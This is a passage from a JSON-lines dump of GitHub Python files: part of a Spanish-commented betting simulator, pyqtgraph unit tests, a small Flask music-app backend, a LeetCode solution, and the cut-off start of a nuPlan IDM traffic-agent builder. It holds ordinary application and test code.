competitor with the specified name in the list\n \"\"\"\n if name in self.competitors.keys():\n return self.competitors[name]\n raise ReferenceError(\"No existe un competidor llamado {} en la ronda actual\".format(name)) \n\n\n def add_competitors(self, competitors): ## Comprobar si se puede meter un participante en blanco o una lista\n \"\"\"Adds one o many competitors to list.\n \n Adds competitors to list of the round. If the parameter competitors is only the names, instantiates competitors objets before.\n Each competitor must have a different name and cannot be added more than once.\n \n :param competitors: The competitors\n :type competitors: List of Competitor or list of Strings\n \n Arguments:\n competitors {list of Competitor or list of Stings} -- List with competitors objects or names to add\n \n Raises:\n NameError -- Don't exists a competitor with these name\n \"\"\"\n if type(competitors[0]) is str:\n for competitor_name in competitors:\n if competitor_name in self.competitors.keys():\n raise NameError(\"El competidor {}ya está incluido en la ronda o ya existe un competidor con el mismo nombre\".format(competitor.name))\n self.competitors[competitor_name] = Competitor(competitor_name)\n self.register_event(\"add_competitor\", competitor_name)\n else: # competitors is a list\n for competitor in competitors:\n if self.exist_competitors([competitor]):\n raise NameError(\"El competidor {}ya está incluido en la ronda o ya existe un competidor con el mismo nombre\".format(competitor.name))\n self.competitors[competitor.name] = competitor\n self.register_event(\"add_competitor\", competitor.name)\n\n\n\n def register_simple_bet(self, bettor, amount, competitor, bet_type):\n \"\"\"Add a simple bet to list of bets.\n \n Build a simple bet and registres it in the pool of bets of the round.\n \n Arguments:\n bettor {Player} -- Player that does the bet\n amount {Integer} -- Amount of money beted\n competitor {Competitor} -- Competitor by the which does the bet\n bet_type {Integer} -- Number that identifys the bet type\n \n Returns:\n String -- Susccessful\n \n Raises:\n ReferenceError -- Competitor don't exist\n \"\"\"\n if not self.exist_competitors([competitor]):\n raise ReferenceError(\"El competidor por el que se realiza la apuesta no está participando en esta ronda\")\n competitor.bets.append(bettor.bet(amount, bet_type))\n self.pot += amount\n self.register_event(\"add_simple_bet\", (bettor.name, amount, competitor.name, bet_type))\n return text.simple_bet(bettor.name, str(amount), competitor.name, bet_type)\n\n\n def register_composite_bet(self, bettor, amount, competitors):\n \"\"\"Add a simple bet to list of bets.\n \n Build a composite bet (triplet) and registres it in the pool of bets of the round.\n \n Arguments:\n bettor {Player} -- Player that does the bet\n amount {Integer} -- Amount of money beted\n competitor {Competitor} -- Competitor by the which does the bet\n \n Returns:\n String -- Susccessful\n \n Raises:\n ReferenceError -- Competitor don't exist\n \"\"\"\n \n if not self.exist_competitors(competitors):\n raise ReferenceError(\"Uno o varios de los competidores por los que se realiza la apuesta no están participando en esta ronda\")\n self.triplet_bets.append(bettor.bet(amount, competitors))\n self.triplet_pot += amount\n self.register_event(\"add_composite_bet\", (bettor.name, amount, [competitor.name for competitor in competitors]))\n return text.composite_bet(bettor.name, str(amount), [competitor.name for competitor in competitors])\n\n\n def proclaim_winner(self, winners):\n \"\"\"Set the winners of the current round.\n \n Set the winners of the current round preparing the jackpots for distribute the prize.\n \n Arguments:\n winners {List of competitors} -- List of Competitors objects\n \"\"\"\n winner_index = 0\n while winner_index < len(winners): # Simple bets\n for bet in winners[winner_index].bets:\n if bet.type > winner_index:\n self.jackpot += bet.effective_amount\n winner_index += 1\n if len(winners) == 3: # Triplet bets\n for bet in self.triplet_bets:\n if bet.triplet == winners:\n self.triplet_winner_bets.append(bet)\n self.triplet_jackpot += bet.effective_amount\n self.register_event(\"proclaim_winner\", [competitor.name for competitor in winners])\n\n\n def distribute_prize(self, winners):\n \"\"\"Distribute the gains to the bettors.\n \n Updates the bettors money with the prize obtained (is necessary to call proclaim winner function before).\n The house gains the money don't reparted.\n \n Arguments:\n winners {List of one or theree Competitors} -- Competitors objects which are the winners of the current round\n \n Returns:\n String -- Text with the prizes\n \"\"\"\n report = text.total_report\n gains_for_house = self.pot + self.triplet_pot\n # Simple bets\n proportion_simple_bets = self.pot/self.jackpot if self.jackpot >= 1 else 0\n winner_index = 0\n while winner_index < len(winners):\n report += text.report_bet_for(winners[winner_index].name)\n for bet in winners[winner_index].bets:\n if bet.type > winner_index:\n prize = math.floor(bet.effective_amount*proportion_simple_bets*100)/100\n if config.ROUND_COINS:\n prize = int(prize)\n bet.bettor.move_money(prize)\n gains_for_house = round(gains_for_house - prize, 2)\n report += text.report_bets_results(bet.bettor.name, str(prize))\n winner_index += 1\n # Triplet bets\n proportion_triplet_bets = self.triplet_pot/self.triplet_jackpot if self.triplet_jackpot >= 1 else 0\n if len(winners) == 3:\n for bet in self.triplet_winner_bets:\n report += text.report_bet_for(bet.bettor.name)\n prize = math.floor(bet.effective_amount*proportion_triplet_bets*100)/100\n if config.ROUNDS_COINS:\n prize = int(prize)\n bet.bettor.move_money(prize)\n gains_for_house = round(gains_for_house - prize, 2)\n report += text.report_bets_results(bet.bettor.name, str(prize))\n report += text.report_bets_results(\"\\n\\nHouse\", str(gains_for_house))\n self.register_event(\"distribute_prize\", report)\n return report\n\n def load_npcs(self):\n \"\"\"Loads npcs from npcs.txt file.\n \n Loads npcs so they can bet. The file conteins tuples that this function reads and used to instance Npc objects.\n \"\"\"\n try:\n file_handle = open(\"{}/npcs.txt\".format(LOCAL_PATH), \"r\")\n except:\n file_handle = open(\"{}/npcs.txt\".format(LOCAL_PATH), \"w\")\n file_handle.close()\n return\n npcs_list = file_handle.readlines()[1:] # Remove first line (headers)\n for npc in npcs_list:\n npc = npc[:-1] # Remove line break\n npc_atributes = npc.split(';')\n self.npcs.append(Npc(npc_atributes[0], int(npc_atributes[1]),\n float(npc_atributes[2])))\n file_handle.close()\n\n\n def generate_padding_bets(self, amount):\n \"\"\"Generate the indicated amount of bets.\n \n So bets don't be makes only by users, this function generate x (where x = ) bets used the npcs loaded previously.\n \n Arguments:\n amount {Integer} -- Amount of bets makes by npcs\n \"\"\"\n competitors = list(self.competitors.values())\n for x in range(amount):\n npc = random.choice(self.npcs)\n if len(competitors) == 2: # Only winner bet is possible\n self.register_simple_bet(npc, npc.generate_amount(),\n random.choice(competitors), 1)\n else:\n if random.random() < config.SIMPLE_NPCS_BETS:\n self.register_simple_bet(npc, npc.generate_amount(),\n random.choice(competitors),\n random.randrange(1,4))\n else:\n random.shuffle(competitors)\n self.register_composite_bet(npc, npc.generate_amount(),\n [competitors[0], competitors[1],\n competitors[2]])\n\n\n\n## LOGs \n def register_event(self, event_type, args):\n \"\"\"Write log line.\n \n Whenever an event occurs that generates changes in the current round, this function registe that event. A special line is also builded that is written to an .apt file that can later be loaded to execute a round identical to the current one.\n \n Arguments:\n event_type {String} -- Name of the event that has been executed\n args {Truple} -- Tuple with arguments used in the instruction that has been executed\n \"\"\"\n log_file = open(\"{}/report/{}.log\".format(LOCAL_PATH, str(self.id)), \"a+\")\n apt_file = open(\"{}/report/{}.apt\".format(LOCAL_PATH, str(self.id)), \"a+\")\n if event_type == \"new_round\":\n log_file.write(text.log_new_round(args))\n elif event_type == \"add_competitor\":\n log_file.write(text.log_add_competitor(args)) # args = competitor name\n if apt_file.tell() > 0:\n apt_file.write(\",{}\".format(args))\n else:\n apt_file.write(\"{}\".format(args))\n elif event_type == \"add_simple_bet\":\n log_file.write(text.log_add_simple_bet(args[0], args[1], args[2], args[3])) # args = (bettor name, amount, beneficiarie name, bet_type)\n apt_file.write(\"\\n{},{},{},{}\".format(args[0], args[1], args[2], args[3]))\n elif event_type == \"add_composite_bet\":\n log_file.write(text.log_add_composite_bet(args[0], args[1], args[2])) # args = (bettor name, amount, beneficiaries names)\n apt_file.write(\"\\n{},{},{}\".format(args[0], args[1], args[2][0], args[2][1], args[2][2]))\n elif event_type == \"proclaim_winner\":\n if len(args) == 1: # args = list of winners names\n log_file.write(text.log_proclaim_winner(args[0]))\n apt_file.write(\"\\n{}\".format(args[0]))\n else:\n log_file.write(text.log_proclaim_winners(args))\n apt_file.write(\"\\n{},{},{}\".format(args[0], args[1], args[2]))\n elif event_type == \"distribute_prize\":\n log_file.write(text.log_distribute_prize(args)) # args = report to distribute_prize function\n log_file.close()\n apt_file.close()\n\n\n# APT files\ndef load_apt(file, npcs_bets, generates_log = False):\n \"\"\"Loads an apt\n \n A apt file contains the information necessary to simulate a round.\n This can be used to generate a betting round from another application or manually and run in aposteitor after.\n It also allows a previous round to be run again with the apt file generated when that round was run.\n \n Arguments:\n file {String} -- File's name\n npcs_bets {Integer} -- Amount of new npcs bets to generate for execution\n \n Keyword Arguments:\n generates_log {bool} -- If True, a new log file is generated (default: {False})\n \n Raises:\n EnvironmentError -- The file doesn't exist in current directory\n EnvironmentError -- The number of the winners is inconsistent\n \"\"\"\n # Makes Round and adds competitors\n try:\n commands = open(file, \"r\").readlines()\n except:\n print(\"{} doesn't exist in current directory\")\n return\n competitors = commands[0][:-1].split(',')\n simulation = Round(competitors)\n # Makes bets\n simulation.generate_padding_bets(npcs_bets)\n bettors = {}\n for command_index in range(1, len(commands)-2):\n bet = commands[command_index].replace('\\n','').split(',')\n if not (bet[0] in bettors.keys()):\n bettors[bet[0]] = Player(bet[0], 335000)\n bettor = bettors[bet[0]]\n competitor = simulation.get_competitor_by_name(bet[2])\n if len(bet) == 4: # simple bet\n simulation.register_simple_bet(bettor, int(bet[1]), competitor, int(bet[3]))\n else: # composite bet\n second_competitor = simulation.get_competitor_by_name(bet[3])\n third_competitor = simulation.get_competitor_by_name(bet[4])\n simulation.register_composite_bet(bettor, int(bet[1]), [competitor, second_competitor, third_competitor])\n # Proglaims winner\n winners_names = commands.pop().split(\",\")\n if not (\n (len(simulation.competitors.items()) > 2 and len(winners_names) == 3) or\n (len(simulation.competitors.items()) == 2 and len(winners_names) == 1)):\n raise EnvironmentError(\"El número de ganadores no es consistente con el número de participantes\")\n winners = []\n for winner_name in winners_names:\n winners.append(simulation.get_competitor_by_name(winner_name))\n simulation.proclaim_winner(winners)\n reply = simulation.distribute_prize(winners)\n if(not generates_log):\n log_file = remove(\"{}/report/{}.log\".format(LOCAL_PATH, str(simulation.id)))","repo_name":"SeindElBardo/aposteitor","sub_path":"aposteitor.py","file_name":"aposteitor.py","file_ext":"py","file_size_in_byte":20252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40906373956","text":"from collections import OrderedDict\nfrom copy import deepcopy\n\nimport numpy as np\nimport pytest\nfrom numpy.testing import assert_array_almost_equal\n\nimport pyqtgraph as pg\nfrom pyqtgraph.functions import arrayToQPath, eq\nfrom pyqtgraph.Qt import QtGui\n\nnp.random.seed(12345)\n\n\ndef testSolve3D():\n p1 = np.array([[0,0,0,1],\n [1,0,0,1],\n [0,1,0,1],\n [0,0,1,1]], dtype=float)\n \n # transform points through random matrix\n tr = np.random.normal(size=(4, 4))\n tr[3] = (0,0,0,1)\n p2 = np.dot(tr, p1.T).T[:,:3]\n \n # solve to see if we can recover the transformation matrix.\n tr2 = pg.solve3DTransform(p1, p2)\n \n assert_array_almost_equal(tr[:3], tr2[:3])\n\n\ndef test_interpolateArray_order0():\n check_interpolateArray(order=0)\n\n\ndef test_interpolateArray_order1():\n check_interpolateArray(order=1)\n\n\ndef check_interpolateArray(order):\n pytest.importorskip(\"scipy\")\n\n def interpolateArray(data, x):\n result = pg.interpolateArray(data, x, order=order)\n assert result.shape == x.shape[:-1] + data.shape[x.shape[-1]:]\n return result\n \n data = np.array([[ 1., 2., 4. ],\n [ 10., 20., 40. ],\n [ 100., 200., 400.]])\n \n # test various x shapes\n interpolateArray(data, np.ones((1,)))\n interpolateArray(data, np.ones((2,)))\n interpolateArray(data, np.ones((1, 1)))\n interpolateArray(data, np.ones((1, 2)))\n interpolateArray(data, np.ones((5, 1)))\n interpolateArray(data, np.ones((5, 2)))\n interpolateArray(data, np.ones((5, 5, 1)))\n interpolateArray(data, np.ones((5, 5, 2)))\n with pytest.raises(TypeError):\n interpolateArray(data, np.ones((3,)))\n with pytest.raises(TypeError):\n interpolateArray(data, np.ones((1, 3,)))\n with pytest.raises(TypeError):\n interpolateArray(data, np.ones((5, 5, 3,)))\n \n x = np.array([[ 0.3, 0.6],\n [ 1. , 1. ],\n [ 0.501, 1. ], # NOTE: testing at exactly 0.5 can yield different results from map_coordinates\n [ 0.501, 2.501], # due to differences in rounding\n [ 10. , 10. ]])\n \n result = interpolateArray(data, x)\n # make sure results match ndimage.map_coordinates\n import scipy.ndimage\n spresult = scipy.ndimage.map_coordinates(data, x.T, order=order)\n #spresult = np.array([ 5.92, 20. , 11. , 0. , 0. ]) # generated with the above line\n \n assert_array_almost_equal(result, spresult)\n \n # test mapping when x.shape[-1] < data.ndim\n x = np.array([[ 0.3, 0],\n [ 0.3, 1],\n [ 0.3, 2]])\n r1 = interpolateArray(data, x)\n x = np.array([0.3]) # should broadcast across axis 1\n r2 = interpolateArray(data, x)\n \n assert_array_almost_equal(r1, r2)\n \n \n # test mapping 2D array of locations\n x = np.array([[[0.501, 0.501], [0.501, 1.0], [0.501, 1.501]],\n [[1.501, 0.501], [1.501, 1.0], [1.501, 1.501]]])\n \n r1 = interpolateArray(data, x)\n r2 = scipy.ndimage.map_coordinates(data, x.transpose(2,0,1), order=order)\n #r2 = np.array([[ 8.25, 11. , 16.5 ], # generated with the above line\n #[ 82.5 , 110. , 165. ]])\n\n assert_array_almost_equal(r1, r2)\n\n\ndef test_subArray():\n a = np.array([0, 0, 111, 112, 113, 0, 121, 122, 123, 0, 0, 0, 211, 212, 213, 0, 221, 222, 223, 0, 0, 0, 0])\n b = pg.subArray(a, offset=2, shape=(2,2,3), stride=(10,4,1))\n c = np.array([[[111,112,113], [121,122,123]], [[211,212,213], [221,222,223]]])\n assert np.all(b == c)\n \n # operate over first axis; broadcast over the rest\n aa = np.vstack([a, a/100.]).T\n cc = np.empty(c.shape + (2,))\n cc[..., 0] = c\n cc[..., 1] = c / 100.\n bb = pg.subArray(aa, offset=2, shape=(2,2,3), stride=(10,4,1))\n assert np.all(bb == cc)\n \n \ndef test_rescaleData():\n rng = np.random.default_rng(12345)\n dtypes = map(np.dtype, ('ubyte', 'uint16', 'byte', 'int16', 'int', 'float'))\n for dtype1 in dtypes:\n for dtype2 in dtypes:\n if dtype1.kind in 'iu':\n lim = np.iinfo(dtype1)\n data = rng.integers(lim.min, lim.max, size=10, dtype=dtype1, endpoint=True)\n else:\n data = (rng.random(size=10) * 2**32 - 2**31).astype(dtype1)\n for scale, offset in [(10, 0), (10., 0.), (1, -50), (0.2, 0.5), (0.001, 0)]:\n if dtype2.kind in 'iu':\n lim = np.iinfo(dtype2)\n lim = lim.min, lim.max\n else:\n lim = (-np.inf, np.inf)\n s1 = np.clip(float(scale) * (data-float(offset)), *lim).astype(dtype2)\n s2 = pg.rescaleData(data, scale, offset, dtype2)\n assert s1.dtype == s2.dtype\n if dtype2.kind in 'iu':\n assert np.all(s1 == s2)\n else:\n assert np.allclose(s1, s2)\n\n\ndef test_eq():\n eq = pg.functions.eq\n \n zeros = [0, 0.0, np.float64(0), np.float32(0), np.int32(0), np.int64(0)]\n for i,x in enumerate(zeros):\n for y in zeros[i:]:\n assert eq(x, y)\n assert eq(y, x)\n \n assert eq(np.nan, np.nan)\n \n # test \n class NotEq(object):\n def __eq__(self, x):\n return False\n \n noteq = NotEq()\n assert eq(noteq, noteq) # passes because they are the same object\n assert not eq(noteq, NotEq())\n\n\n # Should be able to test for equivalence even if the test raises certain\n # exceptions\n class NoEq(object):\n def __init__(self, err):\n self.err = err\n def __eq__(self, x):\n raise self.err\n \n noeq1 = NoEq(AttributeError())\n noeq2 = NoEq(ValueError())\n noeq3 = NoEq(Exception())\n \n assert eq(noeq1, noeq1)\n assert not eq(noeq1, noeq2)\n assert not eq(noeq2, noeq1)\n with pytest.raises(Exception):\n eq(noeq3, noeq2)\n\n # test array equivalence\n # note that numpy has a weird behavior here--np.all() always returns True\n # if one of the arrays has size=0; eq() will only return True if both arrays\n # have the same shape.\n a1 = np.zeros((10, 20)).astype('float')\n a2 = a1 + 1\n a3 = a2.astype('int')\n a4 = np.empty((0, 20))\n assert not eq(a1, a2) # same shape/dtype, different values\n assert not eq(a1, a3) # same shape, different dtype and values\n assert not eq(a1, a4) # different shape (note: np.all gives True if one array has size 0)\n\n assert not eq(a2, a3) # same values, but different dtype\n assert not eq(a2, a4) # different shape\n \n assert not eq(a3, a4) # different shape and dtype\n \n assert eq(a4, a4.copy())\n assert not eq(a4, a4.T)\n\n # test containers\n\n assert not eq({'a': 1}, {'a': 1, 'b': 2})\n assert not eq({'a': 1}, {'a': 2})\n d1 = {'x': 1, 'y': np.nan, 3: ['a', np.nan, a3, 7, 2.3], 4: a4}\n d2 = deepcopy(d1)\n assert eq(d1, d2)\n d1_ordered = OrderedDict(d1)\n d2_ordered = deepcopy(d1_ordered)\n assert eq(d1_ordered, d2_ordered)\n assert not eq(d1_ordered, d2)\n items = list(d1.items())\n assert not eq(OrderedDict(items), OrderedDict(reversed(items)))\n \n assert not eq([1,2,3], [1,2,3,4])\n l1 = [d1, np.inf, -np.inf, np.nan]\n l2 = deepcopy(l1)\n t1 = tuple(l1)\n t2 = tuple(l2)\n assert eq(l1, l2)\n assert eq(t1, t2)\n\n assert eq(set(range(10)), set(range(10)))\n assert not eq(set(range(10)), set(range(9)))\n\n\n@pytest.mark.parametrize(\"s,suffix,expected\", [\n # usual cases\n (\"100 uV\", \"V\", (\"100\", \"u\", \"V\")),\n (\"100 µV\", \"V\", (\"100\", \"µ\", \"V\")),\n (\"4.2 nV\", None, (\"4.2\", \"n\", \"V\")),\n (\"1.2 m\", \"m\", (\"1.2\", \"\", \"m\")),\n (\"1.2 m\", None, (\"1.2\", \"\", \"m\")),\n (\"5.0e9\", None, (\"5.0e9\", \"\", \"\")),\n (\"2 units\", \"units\", (\"2\", \"\", \"units\")),\n # siPrefix with explicit empty suffix\n (\"1.2 m\", \"\", (\"1.2\", \"m\", \"\")),\n (\"5.0e-9 M\", \"\", (\"5.0e-9\", \"M\", \"\")),\n # weirder cases that should return the reasonable thing\n (\"4.2 nV\", \"nV\", (\"4.2\", \"\", \"nV\")),\n (\"4.2 nV\", \"\", (\"4.2\", \"n\", \"\")),\n (\"1.2 j\", \"\", (\"1.2\", \"\", \"\")),\n (\"1.2 j\", None, (\"1.2\", \"\", \"j\")),\n # expected error cases\n (\"100 uV\", \"v\", ValueError),\n])\ndef test_siParse(s, suffix, expected):\n if isinstance(expected, tuple):\n assert pg.siParse(s, suffix=suffix) == expected\n else:\n with pytest.raises(expected):\n pg.siParse(s, suffix=suffix)\n\ndef test_CIELab_reconversion():\n color_list = [ pg.Qt.QtGui.QColor('#100235') ] # known problematic values\n for _ in range(20):\n qcol = pg.Qt.QtGui.QColor()\n qcol.setRgbF( *np.random.random((3)) )\n color_list.append(qcol)\n \n for qcol1 in color_list:\n vec_Lab = pg.functions.colorCIELab( qcol1 )\n qcol2 = pg.functions.CIELabColor(*vec_Lab)\n for val1, val2 in zip( qcol1.getRgb(), qcol2.getRgb() ):\n assert abs(val1-val2)<=1, f'Excess CIELab reconversion error ({qcol1.name() } > {vec_Lab } > {qcol2.name()})'\n\nMoveToElement = pg.QtGui.QPainterPath.ElementType.MoveToElement\nLineToElement = pg.QtGui.QPainterPath.ElementType.LineToElement\n_dtypes = []\nfor bits in 32, 64:\n for base in 'int', 'float', 'uint':\n _dtypes.append(f'{base}{bits}')\n_dtypes.extend(['uint8', 'uint16'])\n\ndef _handle_underflow(dtype, *elements):\n \"\"\"Wrapper around path description which converts underflow into proper points\"\"\"\n out = []\n for el in elements:\n newElement = [el[0]]\n for ii in range(1, 3):\n coord = el[ii]\n if coord < 0:\n coord = np.array(coord, dtype=dtype)\n newElement.append(float(coord))\n out.append(tuple(newElement))\n return out\n\n@pytest.mark.parametrize(\n \"xs, ys, connect, expected\", [\n *(\n (\n np.arange(6, dtype=dtype), np.arange(0, -6, step=-1).astype(dtype), 'all',\n _handle_underflow(dtype,\n (MoveToElement, 0.0, 0.0),\n (LineToElement, 1.0, -1.0),\n (LineToElement, 2.0, -2.0),\n (LineToElement, 3.0, -3.0),\n (LineToElement, 4.0, -4.0),\n (LineToElement, 5.0, -5.0)\n )\n ) for dtype in _dtypes\n ),\n *(\n (\n np.arange(6, dtype=dtype), np.arange(0, -6, step=-1).astype(dtype), 'pairs',\n _handle_underflow(dtype,\n (MoveToElement, 0.0, 0.0),\n (LineToElement, 1.0, -1.0),\n (MoveToElement, 2.0, -2.0),\n (LineToElement, 3.0, -3.0),\n (MoveToElement, 4.0, -4.0),\n (LineToElement, 5.0, -5.0),\n )\n ) for dtype in _dtypes\n ),\n *(\n (\n np.arange(5, dtype=dtype), np.arange(0, -5, step=-1).astype(dtype), 'pairs',\n _handle_underflow(dtype,\n (MoveToElement, 0.0, 0.0),\n (LineToElement, 1.0, -1.0),\n (MoveToElement, 2.0, -2.0),\n (LineToElement, 3.0, -3.0),\n (MoveToElement, 4.0, -4.0)\n )\n ) for dtype in _dtypes\n ),\n # NaN types don't coerce to integers, don't test for all types since that doesn't make sense\n (\n np.arange(5), np.array([0, -1, np.NaN, -3, -4]), 'finite', (\n (MoveToElement, 0.0, 0.0),\n (LineToElement, 1.0, -1.0),\n (LineToElement, 1.0, -1.0),\n (MoveToElement, 3.0, -3.0),\n (LineToElement, 4.0, -4.0)\n ) \n ),\n (\n np.array([0, 1, np.NaN, 3, 4]), np.arange(0, -5, step=-1), 'finite', (\n (MoveToElement, 0.0, 0.0),\n (LineToElement, 1.0, -1.0),\n (LineToElement, 1.0, -1.0),\n (MoveToElement, 3.0, -3.0),\n (LineToElement, 4.0, -4.0)\n )\n ),\n *(\n (\n np.arange(5, dtype=dtype), np.arange(0, -5, step=-1).astype(dtype), np.array([0, 1, 0, 1, 0]),\n _handle_underflow(dtype,\n (MoveToElement, 0.0, 0.0),\n (MoveToElement, 1.0, -1.0),\n (LineToElement, 2.0, -2.0),\n (MoveToElement, 3.0, -3.0),\n (LineToElement, 4.0, -4.0)\n )\n ) for dtype in _dtypes\n ),\n # Empty path with all types of connection\n *(\n (\n np.arange(0), np.arange(0, dtype=dtype), conn, ()\n ) for conn in ['all', 'pairs', 'finite', np.array([])] for dtype in _dtypes\n ),\n ]\n)\ndef test_arrayToQPath(xs, ys, connect, expected):\n path = arrayToQPath(xs, ys, connect=connect)\n element = None\n for i in range(path.elementCount()):\n # nan elements add two line-segments, for simplicity of test config\n # we can ignore the second segment\n if element is not None and (eq(element.x, np.nan) or eq(element.y, np.nan)):\n continue\n element = path.elementAt(i)\n assert eq(expected[i], (element.type, element.x, element.y))\n\n\ndef test_ndarray_from_qpolygonf():\n # test that we get an empty ndarray from an empty QPolygonF\n poly = pg.functions.create_qpolygonf(0)\n arr = pg.functions.ndarray_from_qpolygonf(poly)\n assert isinstance(arr, np.ndarray)\n\n\ndef test_ndarray_from_qimage():\n # for QImages created w/o specifying bytesPerLine, Qt will pad\n # each line to a multiple of 4-bytes.\n # test that we can handle such QImages.\n h = 10\n\n fmt = QtGui.QImage.Format.Format_RGB888\n for w in [5, 6, 7, 8]:\n qimg = QtGui.QImage(w, h, fmt)\n qimg.fill(0)\n arr = pg.functions.ndarray_from_qimage(qimg)\n assert arr.shape == (h, w, 3)\n\n fmt = QtGui.QImage.Format.Format_Grayscale8\n for w in [5, 6, 7, 8]:\n qimg = QtGui.QImage(w, h, fmt)\n qimg.fill(0)\n arr = pg.functions.ndarray_from_qimage(qimg)\n assert arr.shape == (h, w)\n\ndef test_colorDistance():\n pg.colorDistance([pg.Qt.QtGui.QColor(0,0,0), pg.Qt.QtGui.QColor(255,0,0)])\n pg.colorDistance([])\n","repo_name":"pyqtgraph/pyqtgraph","sub_path":"tests/test_functions.py","file_name":"test_functions.py","file_ext":"py","file_size_in_byte":14723,"program_lang":"python","lang":"en","doc_type":"code","stars":3463,"dataset":"github-code","pt":"50"} +{"seq_id":"43156534750","text":"from flask import Flask,jsonify,request\nfrom flask_cors import CORS\nfrom flask_pymongo import PyMongo\nimport json \nimport user,profile,tracks\nimport model_helper\napp = Flask(__name__)\nCORS(app)\napp.config[\"MONGO_URI\"] = \"mongodb://localhost:27017/aimnet\"\nmongo = PyMongo(app)\n\n############################################\n# User Auth Routes\n@app.route('/api/login',methods=[\"POST\"])\ndef login_route():\n data = request.get_json()\n print(data)\n return user.login(data[\"email\"],data[\"pass1\"],mongo) \n\n@app.route('/api/signup',methods=[\"POST\"])\ndef signup_route():\n data = request.get_json()\n print(data)\n return user.signup(data[\"email\"],data[\"pass1\"],data[\"pass2\"],mongo) \n\n##############################################\n# Profile Routes\n@app.route('/api/getprofile',methods=[\"POST\"])\ndef getprofile_route():\n data = request.get_json()\n print(data)\n return profile.getProfile(data[\"email\"],mongo) \n\n@app.route('/api/updateprofile',methods=[\"POST\"])\ndef updateprofile_route():\n data = request.get_json()\n print(data)\n return profile.updateProfile(data[\"email\"],data,mongo) \n\n\n##############################################\n# Generating Music by notes\n@app.route('/api/generateMusic',methods=[\"POST\"])\ndef generateMusic_route():\n data = request.get_json()\n return model_helper.genrateMusicByNote(data['note'],data[\"email\"],mongo) \n\n##############################################\n# Get all music tracks of the user\n@app.route('/api/getalltracks',methods=[\"POST\"])\ndef getalltracks_route():\n data = request.get_json()\n print(data)\n return tracks.getAllMusicTracks(data[\"email\"],mongo) \n\n# Get Favorited music tracks of the user\n@app.route('/api/getfavtracks',methods=[\"POST\"])\ndef getfavtracks_route():\n data = request.get_json()\n print(data)\n return tracks.getFavMusicTracks(data[\"email\"],mongo) \n\n\n# Favourite/Unfavourite the tracks\n@app.route('/api/toggletracks',methods=[\"POST\"])\ndef booltrackfav_route():\n data = request.get_json()\n print(data)\n return tracks.toggleFavTrack(data[\"email\"],data[\"_id\"],mongo) \n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n ","repo_name":"AIMNet-ai/AIMNet-Backend","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21177174210","text":"class Solution:\n def letterCombinations(self, digits):\n keyboard_dict = {\n 2: 'abc',\n 3: 'def',\n 4: 'ghi',\n 5: 'jkl',\n 6: 'mno',\n 7: 'pqrs',\n 8: 'tuv',\n 9: 'wxyz',\n }\n ret = []\n for num in digits:\n if not ret:\n ret = [letter for letter in keyboard_dict[int(num)]]\n print(ret)\n else:\n ret = [str+letter for letter in keyboard_dict[int(num)] for str in ret]\n print(ret)\n return ret","repo_name":"ritvikkhanna09/Leetcode","sub_path":"17._Letter_Combinations_of_a_Phone_Number.py","file_name":"17._Letter_Combinations_of_a_Phone_Number.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"24243279254","text":"import logging\nfrom typing import List, Optional, Tuple\n\nimport numpy as np\nfrom nuplan.common.maps.abstract_map import AbstractMap, SemanticMapLayer\nfrom nuplan.common.maps.abstract_map_objects import GraphEdgeMapObject\nfrom nuplan.database.utils.boxes.box3d import Box3D\nfrom nuplan.database.utils.geometry import yaw_to_quaternion\nfrom nuplan.planning.scenario_builder.abstract_scenario import AbstractScenario\nfrom nuplan.planning.simulation.observation.smart_agents.idm_agents.idm_agent import IDMAgent\nfrom nuplan.planning.simulation.observation.smart_agents.idm_agents.idm_agent_manager import UniqueIDMAgents\nfrom nuplan.planning.simulation.observation.smart_agents.idm_agents.idm_policy import IDMPolicy\nfrom nuplan.planning.simulation.observation.smart_agents.idm_agents.utils import box3d_to_polygon, \\\n convert_box3d_to_se2, create_path_from_se2, ego_state_to_box_3d\nfrom nuplan.planning.simulation.observation.smart_agents.occupancy_map.abstract_occupancy_map import OccupancyMap\nfrom nuplan.planning.simulation.observation.smart_agents.occupancy_map.strtree_occupancy_map import \\\n STRTreeOccupancyMapFactory\nfrom nuplan.planning.simulation.path.interpolated_path import InterpolatedPath\nfrom tqdm import tqdm\n\nlogger = logging.getLogger(__name__)\n\n\ndef build_map_rails(agent: Box3D, map_api: AbstractMap, path_min_length: float = 200) \\\n -> Tuple[Optional[InterpolatedPath], Optional[float]]:\n \"\"\"\n Build a reference path for an agent.\n :param agent: The agent represented by a Box3D\n :param map_api: An AbstractMap instance\n :param path_min_length: [m] The minimum length of the path to be created\n :return: The constructed path as InterpolatedPath. If that path cannot be created then None.\n \"\"\"\n agent_state = convert_box3d_to_se2(agent)\n if map_api.is_in_layer(agent_state, SemanticMapLayer.LANE):\n layer = SemanticMapLayer.LANE\n elif map_api.is_in_layer(agent_state, SemanticMapLayer.INTERSECTION):\n layer = SemanticMapLayer.LANE_CONNECTOR\n else:\n return None, None\n\n segments: List[GraphEdgeMapObject] = map_api.get_all_map_objects(agent_state, layer)\n if not segments:\n return None, None\n\n segment = segments[0]\n\n blp = segment.baseline_path().discrete_path()\n progress = segment.baseline_path().get_nearest_arc_length_from_position(agent_state)\n\n # Initialize with dummy path\n path = create_path_from_se2(blp)\n while path.get_end_progress() - progress < path_min_length:\n segments = segment.outgoing_edges()\n # Dead end found\n if not segments:\n break\n segment = segments[0]\n next_path = segment.baseline_path().discrete_path()\n\n blp += next_path\n path = create_path_from_se2(blp)\n\n return path, progress\n\n\ndef build_idm_agents_on_map_rails(target_velocity: float,\n min_gap_to_lead_agent: float,\n headway_time: float,\n accel_max: float,\n decel_max: float,\n scenario: AbstractScenario) -> Tuple[UniqueIDMAgents, OccupancyMap]:\n \"\"\"\n Build unique agents from a scenario. InterpolatedPaths are created for each agent according to their driven path\n\n :param target_velocity: Desired velocity in free traffic [m/s]\n :param min_gap_to_lead_agent: Minimum relative distance to lead vehicle [m]\n :param headway_time: Desired time headway. The minimum possible time to the vehicle in front [s]\n :param accel_max: maximum acceleration [m/s^2]\n :param decel_max: maximum deceleration (positive value) [m/s^2]\n :param scenario: scenario\n :return: a dictionary of IDM agent uniquely identified by an 